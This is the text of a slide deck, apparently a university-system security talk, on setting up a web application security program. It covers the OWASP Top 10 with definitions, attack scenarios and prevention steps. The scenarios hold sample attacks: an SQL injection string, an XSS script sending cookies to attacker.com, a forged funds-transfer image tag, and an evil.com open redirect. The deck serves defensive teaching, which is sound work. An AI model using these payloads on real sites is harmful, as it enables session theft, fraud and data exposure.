Web Application Security Program What it means

1
Web Application Security ProgramWhat it means
Why you need it

• Presenters
• Anil Ninan Jeremy Heydman Jim Nelson

2
Applications are under attack

• 75 of attacks are at the Application Level -
  Gartner
• 95 of all vulnerabilities are in software - NIST
• 7 out of 10 web sites have serious
  vulnerabilities - White Hat Security
• 62 of organizations have experienced a security
  breach in the past 12 months - Forrester

3
The Trend
Source CENZIC
4
Web Application Vulnerability Trend..
Source IBM
5
Peers In the Headlines
June 2005 University of Southern California -
270,000
December 2006 University of California - 800,000

December 2006 University of Colorado 17,500
6
In the Headlines
May 2009 8 Million Hackers break into Virginia
Department of Health Professions Web Site
(Washington Post)
January 2009 94 Million Hackers breach
Heartland Payment Credit Card System (USA Today)
2009
7
What is Web Application Security?

• Antivirus
• Vulnerability Scans
• Server Security

Web Application Security is not specifically

• Firewall/DMZ
• IDS / IPS
• Patch Management

• Static Analysis
• Dynamic Analysis
• Web Application Firewall

• Training for Developers
• Secure Development Life Cycle
• Manual/Peer Code Review

Web Application Security Safeguards
8
Web Application Security Misconceptions

• The Firewall protects my web application
• SSL secures my site
• The IDS protects my web server and database

9
Simplified Web Application Architecture
The Enterprise
Databases
Web Server
80
Graphics Source IBM
10
What can be done?.... Program Example
11
Education Strategic Planning

• Train Development Staff
• Developers are trained to provide functionality
  deliver on-time
• Perform Inventory of Web Applications
• Need to know what is out there
• Create a registration system
• Hold Vendors Accountable
• Create a Business Risk Profile
• Perform risk assessments to identify high risk
  assets

12
Security Testing

• Dynamic Analysis
• Web Application Scanner
• Static Analysis
• Tool Based Code Review
• Manual Code Review
• Peer Review

13
Development

• Secure Software Development Life Cycle
• Build Security Touch Points in the Development
  Process
• Threat Modeling
• Identify relevant threats, vulnerabilities and
  counter measures
• Standards and Compliance
• Secure Coding Best Practices, Standards,
  Guidelines etc..
• MGDPA, FERPA, PCI etc..

14
Deployment

• Vulnerability Assessment
• Find the Vulnerabilities
• Penetration Testing
• Exploit the vulnerabilities
• Web Application Firewall
• Buys time to fix the vulnerability

15
Building Security into SDLC Touch-points
Risk Threat x Vulnerability x Cost
What do we need to test, And how
Code review tools
Iterative approach
Security requirements
Static analysis (tools)
Penetration testing
Design Review
Risk analysis
Risk-based security tests
Code
Requirements and use cases
Design
Test plans
Test results
Field feedback
Code Review
Source OWASP
16
OWASP Top 10

• Arguably the place to start for learning about
  application security risks.
• Updated for 2010
• What is OWASP?
• http//www.owasp.org
• Open Web Application Security Project, a
  non-profit worldwide charitable organization
  focused on improving the security of application
  software.

17
OWASP Top 10

• Definition
• Example Attack Scenario(s)
• Impact
• Prevention

18
A1. Injection Flaws

• Definition
• Injection flaws occur when un-trusted data is
  sent to an interpreter as part of a command or
  query. The attackers hostile data can trick the
  interpreter into executing unintended commands or
  accessing unauthorized data.
• Various flavors of injection flaws SQL, OS, LDAP
  to name a few.

19
A1. Injection Flaws

• Example Attack Scenario
• String query
• "SELECT FROM accounts WHERE custID'"
  request.getParameter("id") "'"
• The attacker modifies the id parameter in their
  browser to send ' or '1''1. This changes the
  meaning of the query to return all the records
  from the accounts database, instead of only the
  intended customers.
• http//example.com/app/accountView?id' or '1''1

20
A1. Injection Flaws

• Impact (Severe)
• Data loss or corruption
• Lack of accountability
• Denial of access
• In certain cases could lead to complete takeover
  of host

21
A1. Injection Flaws

• Prevention
• Do not trust data from clients, validate all
  input.
• Use parameterized APIs whenever possible, e.g.
  SQL prepared statements
• If parameterized API not available, use escaping
  routines before sending data to the
  interpreter/shell.

22
A2. Cross-Site Scripting (XSS)

• Definition
• XSS flaws occur whenever an application takes
  un-trusted data and sends it to a web browser
  without proper validation and escaping. XSS
  allows attackers to execute scripts in the
  victims browser which can hijack user sessions,
  deface web sites, or redirect the user to
  malicious sites.
• Three types stored, reflected, and DOM based
  XSS.
• The most prevalent web application security flaw.

23
A2. Cross-Site Scripting (XSS)

• Example Attack Scenario
• (String) page
• "ltinput name'creditcard' type 'TEXT' value'"
  request.getParameter("CC") "'gt"
• The attacker modifies the 'CC' parameter in their
  browser to 'gtltscriptgtdocument.location'http//ww
  w.attacker.com/cgi-bin/cookie.cgi?foo'document.c
  ookielt/scriptgt'.
• This causes the victims session ID to be sent to
  the attackers website, allowing the attacker to
  hijack the users current session.

24
A2. Cross-Site Scripting (XSS)

• Impact (Moderate)
• Attacker can execute scripts in a victims
  browser, which can open the door to
• Hijacking the users session
• Defacing the web site
• Insertion of hostile content
• Redirecting the user to another site
• Attempting to install malware on the users
  machine

25
A2. Cross-Site Scripting (XSS)

• Prevention
• Escape/encode all data that is written to a web
  page.
• ltscriptgtalert('got you')lt/scriptgt (raw html)
• ltscriptgtalert('got you')lt/scriptgt
  (encoded html)
• Do not trust data from clients, validate all
  input.

26
A3. Broken Authentication and Session Management

• Definition
• Application functions related to authentication
  and session management are often not implemented
  correctly, allowing attackers to compromise
  passwords, keys, session tokens, or exploit other
  implementation flaws to assume other users
  identities.

27
A3. Broken Authentication and Session Management

• Example Attack Scenarios
• Applications timeouts arent set properly. User
  uses a public computer to access site. Instead of
  selecting logout the user simply closes the
  browser tab and walks away. Attacker uses the
  same browser an hour later, and that browser is
  still authenticated.
• Attacker gains access to the systems password
  database. User passwords are not encrypted,
  exposing every users password to the attacker.

28
A3. Broken Authentication and Session Management

• Impact (Severe)
• Such flaws may allow some or even all accounts to
  be attacked.
• Once successful, the attacker can do anything the
  victim could do.
• Privileged accounts are frequently targeted.

29
A3. Broken Authentication and Session Management

• Prevention
• A single set of strong authentication and session
  management controls. Such controls should strive
  to
• Meet the requirements defined in OWASPs
  Application Security Verification Standard(ASVS).
• Have a simple interface for developers. Consider
  the ESAPI Authenticator and User APIs as good
  examples to emulate, use, or build upon.
• Strong efforts should also be made to avoid XSS
  flaws which can be used to steal session IDs. See
  A2.

30
A4. Insecure Direct Object References

• Definition
• A direct object reference occurs when a developer
  exposes a reference to an internal implementation
  object, such as a file, directory, or database
  key. Without an access control check or other
  protection, attackers can manipulate these
  references to access unauthorized data.

31
A4. Insecure Direct Object References

• Example Attack Scenario
• String query "SELECT FROM accts WHERE account
  ?"
• PreparedStatement pstmtconnection.prepareStatemen
  t(query , )
• pstmt.setString( 1, request.getparameter("acct"))
  
• ResultSet results pstmt.executeQuery( )
• The attacker simply modifies the 'acct' parameter
  in their browser to send whatever account number
  they want. If not verified, the attacker can
  access any users account, instead of only the
  intended customers account.
• http//example.com/app/accountInfo?acctnotmyacct

32
A4. Insecure Direct Object References

• Impact (Moderate)
• Such flaws can compromise all the data that can
  be referenced by the parameter.
• Unless the namespace is sparse, its easy for an
  attacker to access all available data of that
  type.

33
A4. Insecure Direct Object References

• Prevention
• Use per-user or session indirect object
  references. This prevents attackers from directly
  targeting unauthorized resources by knowing
  actual keys.
• Check access. Each use of a direct object
  reference from an untrusted source must include
  an access control check to ensure the user is
  authorized for the requested object.

34
A5. Cross-Site Request Forgery (CSRF)

• Definition
• A CSRF attack forces a logged-on victims browser
  to send a forged HTTP request, including the
  victims session cookie and any other
  automatically included authentication
  information, to a vulnerable web application.
• This allows the attacker to force the victims
  browser to generate requests the vulnerable
  application thinks are legitimate requests from
  the victim.

35
A5. Cross-Site Request Forgery (CSRF)

• Example Attack Scenario
• The application allows a user to submit a state
  changing request that does not include anything
  secret.
• http//example.com/app/transferFunds?amount150de
  stinationAccount467
• The attacker constructs a request that will
  transfer money from the victims account to their
  account, and then embeds this attack in an image
  request or iframe stored on various sites under
  the attackers control.
• ltimgsrc"http//example.com/app/transferFunds?amou
  nt1500destinationAccountattackersAcctwidth"0
  " height"0" /gt
• If the victim visits any of these sites while
  already authenticated to example.com, any forged
  requests will include the users session info,
  inadvertently authorizing the request.

36
A5. Cross-Site Request Forgery (CSRF)

• Impact (Moderate)
• Attackers can cause victims to change any data
  the victim is allowed to change or perform many
  function the victim is authorized to use.

37
A5. Cross-Site Request Forgery (CSRF)

• Prevention
• Preventing CSRF requires the inclusion of a
  unpredictable token in the body or URL of each
  HTTP request. Such tokens should at a minimum be
  unique per user session, but can also be unique
  per request.
• The preferred option is to include the unique
  token in a hidden field. This causes the value to
  be sent in the body of the HTTP request, avoiding
  its inclusion in the URL, which is subject to
  exposure.
• OWASPs CSRF Guardcan be used to automatically
  include such tokens in your Java EE, .NET, or PHP
  application. OWASPs ESAPI includes token
  generators and validators that developers can use
  to protect their transactions.

38
A6. Security Misconfiguration

• Definition
• Good security requires having a secure
  configuration defined and deployed for the
  application, frameworks, application server, web
  server, database server, and platform.
• All these settings should be defined,
  implemented, and maintained as many are not
  shipped with secure defaults. This includes
  keeping all software up to date, including all
  code libraries used by the application.

39
A6. Security Misconfiguration

• Example Attack Scenarios
• Scenario 1 Your application relies on a
  powerful framework like Struts or Spring. XSS
  flaws are found in these framework components you
  rely on. An update is released to fix these flaws
  but you dont update your libraries. Until you
  do, attackers can easily find and exploit these
  flaw in your app.
• Scenario 2 The app server admin console is
  automatically installed and not removed. Default
  accounts arent changed. Attacker discovers the
  standard admin pages are on your server, logs in
  with default passwords, and takes over.

40
A6. Security Misconfiguration

• Example Attack Scenarios (cont.)
• Scenario 3 Directory listing is not disabled on
  your server. Attacker discovers she can simply
  list directories to find any file. Attacker finds
  and downloads all your compiled Java classes,
  which she reverses to get all your custom code.
  She then find a serious access control flaw in
  your application.
• Scenario 4 App server configuration allows
  stack traces to be returned to users, potentially
  exposing underlying flaws. Attackers love the
  extra information error messages provide.

41
A6. Security Misconfiguration

• Impact (Moderate)
• Such flaws frequently give attackers unauthorized
  access to some system data or functionality.
• Occasionally, such flaws result in a complete
  system compromise.

42
A6. Security Misconfiguration

• Prevention
• A repeatable hardening process that makes it fast
  and easy to deploy another environment that is
  properly locked down. Development, QA, and
  production environments should all be configured
  identically. This process should be automated to
  minimize the effort required to setup a new
  secure environment.
• A process for keeping abreast of and deploying
  all new software updates and patches in a timely
  manner to each deployed environment. This needs
  to include all code libraries as well, which are
  frequently overlooked.

43
A6. Security Misconfiguration

• Prevention (cont.)
• A strong application architecture that provides
  good separation and security between components.
• Consider running scans and doing audits
  periodically to help detect future
  misconfigurations or missing patches.

44
A7. Insecure Cryptographic Storage

• Definition
• Many web applications do not properly protect
  sensitive data, such as credit cards, SSNs, and
  authentication credentials, with appropriate
  encryption or hashing. Attackers may steal or
  modify such weakly protected data to conduct
  identity theft, credit card fraud, or other
  crimes.

45
A7. Insecure Cryptographic Storage

• Example Attack Scenarios
• Scenario 1 An application encrypts credit cards
  in a database to prevent exposure to end users.
  However, the database is set to automatically
  decrypt queries against the credit card columns,
  allowing a SQL injection flaw to retrieve all the
  credit cards in clear text. The system should
  have been configured to allow only back end
  applications to decrypt them, not the front end
  web application.
• Scenario 2 A backup tape is made of encrypted
  health records, but the encryption key is on the
  same backup. The tape never arrives at the backup
  center.

46
A7. Insecure Cryptographic Storage

• Example Attack Scenarios (cont.)
• Scenario 3 The password database uses unsalted
  hashes to store everyones passwords. A file
  upload flaw allows an attacker to retrieve the
  password file. All the unsalted hashes can be
  brute forced in 4 weeks, while properly salted
  hashes would have taken over 3000 years.

47
A7. Insecure Cryptographic Storage

• Impact (Moderate)
• Failure frequently compromises all data that
  should have been encrypted. Typically this
  information includes sensitive data such as
  health records, credentials, personal data,
  credit cards, etc.

48
A7. Insecure Cryptographic Storage

• Prevention
• Considering the threats you plan to protect this
  data from (e.g., insider attack, external user),
  make sure you encrypt all such data at rest in a
  manner that defends against these threats.
• Ensure offsite backups are encrypted, but the
  keys are managed and backed up separately.
• Ensure appropriate strong standard algorithms and
  strong keys are used, and key management is in
  place.
• Ensure passwords are hashed with a strong
  standard algorithm and an appropriate salt is
  used.
• Ensure all keys and passwords are protected from
  unauthorized access.

49
A8. Failure to Restrict URL Access

• Definition
• Many web applications check URL access rights
  before rendering protected links and buttons.
  However, applications need to perform similar
  access control checks each time these pages are
  accessed, or attackers will be able to forge URLs
  to access these hidden pages anyway.

50
A8. Failure to Restrict URL Access

• Example Attack Scenario
• The attacker simply force browses to target URLs.
  Consider the following URLs which are both
  supposed to require authentication. Admin rights
  are also required for access to the
  admin_getappInfo page.
• http//example.com/app/getappInfo
• http//example.com/app/admin_getappInfo
• If the attacker is not authenticated, and access
  to either page is granted, then unauthorized
  access was allowed. If an authenticated,
  non-admin, user is allowed to access the
  admin_getappInfo page, this is a flaw, and may
  lead the attacker to more improperly protected
  admin pages. Such flaws are frequently introduced
  when links and buttons are simply not displayed
  to unauthorized users, but the application fails
  to protect the pages they target.

51
A8. Failure to Restrict URL Access

• Impact (Moderate)
• Such flaws allow attackers to access unauthorized
  functionality.
• Administrative functions are key targets for this
  type of attack.

52
A8. Failure to Restrict URL Access

• Prevention
• Select an approach for requiring proper
  authentication and proper authorization for each
  page. Frequently, such protection is provided by
  one or more components external to the
  application code. Regardless of the mechanism(s),
  all of the following are recommended
• The authentication and authorization policies be
  role based, to minimize the effort required to
  maintain these policies.
• The policies should be highly configurable, in
  order to minimize any hard coded aspects of the
  policy.
• The enforcement mechanism(s) should deny all
  access by default, requiring explicit grants to
  specific users and roles for access to every page
• If the page is involved in a workflow, check to
  make sure the conditions are in the proper state
  to allow access.

53
A9. Insufficient Transport Layer Protection

• Definition
• Applications frequently fail to authenticate,
  encrypt, and protect the confidentiality and
  integrity of sensitive network traffic. When they
  do, they sometimes support weak algorithms, use
  expired or invalid certificates, or do not use
  them correctly.

54
A9. Insufficient Transport Layer Protection

• Example Attack Scenarios
• Scenario 1 A site simply doesnt use SSL for
  all pages that require authentication. Attacker
  simply monitors network traffic (like an open
  wireless or their neighborhood cable modem
  network), and observes an authenticated victims
  session cookie. Attacker then replays this cookie
  and takes over the users session.
• Scenario 2 A site has improperly configured SSL
  certificate which causes browser warnings for its
  users. Users have to accept such warnings and
  continue, in order to use the site. This causes
  users to get accustomed to such warnings.

55
A9. Insufficient Transport Layer Protection

• Impact (Moderate)
• Such flaws expose individual users data and can
  lead to account theft.
• If an admin account was compromised, the entire
  site could be exposed.
• Poor SSL setup can also facilitate phishing and
  MITM attacks.

56
A9. Insufficient Transport Layer Protection

• Prevention
• Providing proper transport layer protection can
  affect the site design. Its easiest to require
  SSL for the entire site. For performance reasons,
  some sites use SSL only on private pages. Others
  use SSL only on critical pages, but this can
  expose session IDs and other sensitive data. At a
  minimum, do all of the following
• Require SSL for all sensitive pages. Non-SSL
  requests to these pages should be redirected to
  the SSL page.
• Set the secure flag on all sensitive cookies.
• Configure your SSL provider to only support
  strong (e.g., FIPS 140-2 compliant) algorithms.
• Ensure your certificate is valid, not expired,
  not revoked, and matches all domains used by the
  site.
• Backend and other connections should also use SSL
  or other encryption technologies.

57
A10. Unvalidated Redirects and Forwards

• Definition
• Web applications frequently redirect and forward
  users to other pages and websites, and use
  untrusted data to determine the destination
  pages. Without proper validation, attackers can
  redirect victims to phishing or malware sites, or
  use forwards to access unauthorized pages.
• A favorite target of phishers trying to gain the
  users trust

58
A10. Unvalidated Redirects and Forwards

• Example Attack Scenarios
• Scenario 1 The application has a page called
  redirect.jsp which takes a single parameter
  named url. The attacker crafts a malicious URL
  that redirects users to a malicious site that
  performs phishing and installs malware.
• http//www.example.com/redirect.jsp?urlevil.co
  m
• Scenario 2 The application uses forward to
  route requests between different parts of the
  site. To facilitate this, some pages use a
  parameter to indicate where the user should be
  sent if a transaction is successful. In this
  case, the attacker crafts a URL that will pass
  the applications access control check and then
  forward the attacker to an administrative
  function that she would not normally be able to
  access.
• http//www.example.com/boring.jsp?fwdadmin.jsp

59
A10. Unvalidated Redirects and Forwards

• Impact
• Such redirects may attempt to install malware or
  trick victims into disclosing passwords or other
  sensitive information.
• Unsafe forwards may allow access control bypass.

60
A10. Unvalidated Redirects and Forwards

• Prevention
• Safe use of redirects and forwards can be done in
  a number of ways
• Simply avoid using redirects and forwards, if
  possible.
• If used, dont involve user parameters in
  calculating the destination. This can usually be
  done.
• If destination parameters cant be avoided,
  ensure that the supplied value is valid, and
  authorized for the user.

61
Establish the Foundation

• The 3 Pillars
• Knowledge
• We dont know what we dont know
• Risk Assessment
• Business Risk - Criticality to operations,
  privacy, etc.
• Application Vulnerabilities
• Best-Practices
• Secure coding practices

62
Establish the Foundation Cont.

• Knowledge
• Known vulnerabilities Secure coding practices
• Perform Risk Assessment
• Classify Applications Criticality/Security
  Exposure
• Stop The Bleeding - Identify the Vulnerabilities
• Static Analysis / Dynamic Analysis / Penetration
  Testing
• Address high risk applications first -
  Applications facing the internet, apps with
  private data etc.

63
Establish the Foundation

• Best-Practices (Security Touch-points)
• Tools Static Dynamic Analysis
• Process Code Review, Threat Modeling
• Standards / Guidelines Consistent development
  practices that includes security
• Web Application Firewalls
• Security is a journey, not a destination

64
Past and Current Initiatives

• Pilot FY09
• Summary Report Pilot Results
• Training Conducted 2day courses
• Veracode Security as a Service (Enterprise)
• Software Security Task Force
• SMEs define MnSCU specific secure coding
  practices standards/guidelines process
• Identify short long-term plan / initiatives

65
Discussion Topics

• How much application development are you doing on
  campus?
• How much development is out-sourced to a 3rd
  party?
• Current state? Any processes used to include
  security in your SDLC? If yes, what types of
  practices?
• What would be your challenges to address web
  application security issues?
• Training Understanding vulnerabilities, secure
  coding practices, additional skills you would
  need?
• Buy-in from Management and/or others?
• Tools additional costs?
• Other questions?

66

• Thank You
• Anil Ninan Jeremy Heydman
• Security Specialist Technical Lead Analyst
• Information Security Office Enterprise SW
  Development
• 651-201-1534 320-223-6264
• Anil.ninan_at_csu.mnscu.edu Jeremy.heydman_at_csu.mn
  scu.edu
• Jim Nelson
• Sr. Consultant (Midwave)
• Information Security Office
• 651-201-1566
• Jim.nelson_at_csu.mnscu.edu

Access more information security training for
campus technical staff and earn CEUs
its.mnscu.edu/security/training/
67
Tools - Static Analysis Vendors

• Veracode (www.Veracode.com)
• Fortify (www.Fortify.com)
• Coverity (www.coverity.com)
• KlocWork (www.KlocWork.com)
• Ounce Labs (www.ouncelabs.com)

68
Tools - Dynamic Analysis Vendors

• IBM - Rational Appscan (www.ibm.com)
• HP WebInspect (www.hp.com)
• Ntobjectives NTOSpider (www.ntobjectives.com)
• Cenzic Hailstorm (www.cenzic.com)
• Whitehat Security (www.whitehatsec.com)

69
Tools - Web Application Firewall

• WebDefend - Breach (www.breach.com)
• ModSecurity - Open Source (www.modsecurity.org)
  support offered by Breach
• SecureSphere - Imperva (www.imperva.com)
• Application Security Manager - F5 (www.f5.com)
• Citrix Application Firewall - Citrix
  (www.citrix.com)
• Web Security Checkpoint (www.checkpoint.com)
• Cisco ACE - Cisco (www.cisco.com)
• Fortify Real-Time Analyzer (www.fortify.com)

70
Resources

• www.owasp.org
• OWASP Top 10
• Web Goat
• Development Guide
• Tools
• www.sans.org
• SANS TOP 25 Programming Errors
• www.webappsec.org
• Web Application Security Consortium